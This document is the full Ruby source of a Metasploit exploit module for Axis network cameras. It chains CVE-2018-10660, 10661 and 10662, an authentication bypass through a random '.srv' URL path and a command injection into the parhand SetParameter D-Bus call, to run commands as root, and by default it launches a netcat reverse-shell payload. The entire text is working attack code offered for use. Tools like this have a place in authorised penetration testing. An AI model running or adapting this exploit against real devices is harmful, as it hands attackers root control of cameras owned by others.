Axis Network Camera – .srv to parhand Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient #include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Axis Network Camera .srv to parhand RCE', 'Description' => %q{ This module exploits an auth bypass in .srv functionality and a command injection in parhand to execute code as the root user. }, 'Author' => [ 'Or Peles', # Vulnerability discovery (VDOO) 'wvu', # Metasploit module 'sinn3r', # Metasploit module 'Brent Cook', # Metasploit module 'Jacob Robles', # Metasploit module 'Matthew Kienow', # Metasploit module 'Shelby Pace', # Metasploit module 'Chris Lee', # Metasploit module 'Cale Black' # Metasploit module ], 'References' => [ ['CVE', '2018-10660'], ['CVE', '2018-10661'], ['CVE', '2018-10662'], ['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'], ['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf'] ], 'DisclosureDate' => 'Jun 18 2018', 'License' => MSF_LICENSE, 'Platform' => ['unix'],# 'linux'], 'Arch' => [ARCH_CMD],# ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => { 'BadChars' => ' ', 'Encoder' => 'cmd/ifs', 'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat-e'} } ], =begin ['Linux Dropper', 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Type' => :linux_dropper ] =end ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'} )) end def exploit case target['Type'] when :unix_memory execute_command(payload.encoded) =begin when :linux_dropper execute_cmdstager =end end end def execute_command(cmd, opts = {}) rand_srv = "#{Rex::Text.rand_text_alphanumeric(8..42)}.srv" send_request_cgi( 'method' => 'POST', 'uri' => "/index.html/#{rand_srv}", 'vars_post' => { 'action' => 'dbus', 'args' => dbus_send( method: :set_param, param: "string:root.Time.DST.Enabled string:;#{cmd};" ) } ) send_request_cgi( 'method' => 'POST', 'uri' => "/index.html/#{rand_srv}", 'vars_post' => { 'action' => 'dbus', 'args' => dbus_send(method: :synch_params) } ) end def dbus_send(method:, param: nil) args = '--system --dest=com.axis.PolicyKitParhand ' \ '--type=method_call /com/axis/PolicyKitParhand ' args << case method when :set_param "com.axis.PolicyKitParhand.SetParameter #{param}" when :synch_params 'com.axis.PolicyKitParhand.SynchParameters' end args end end |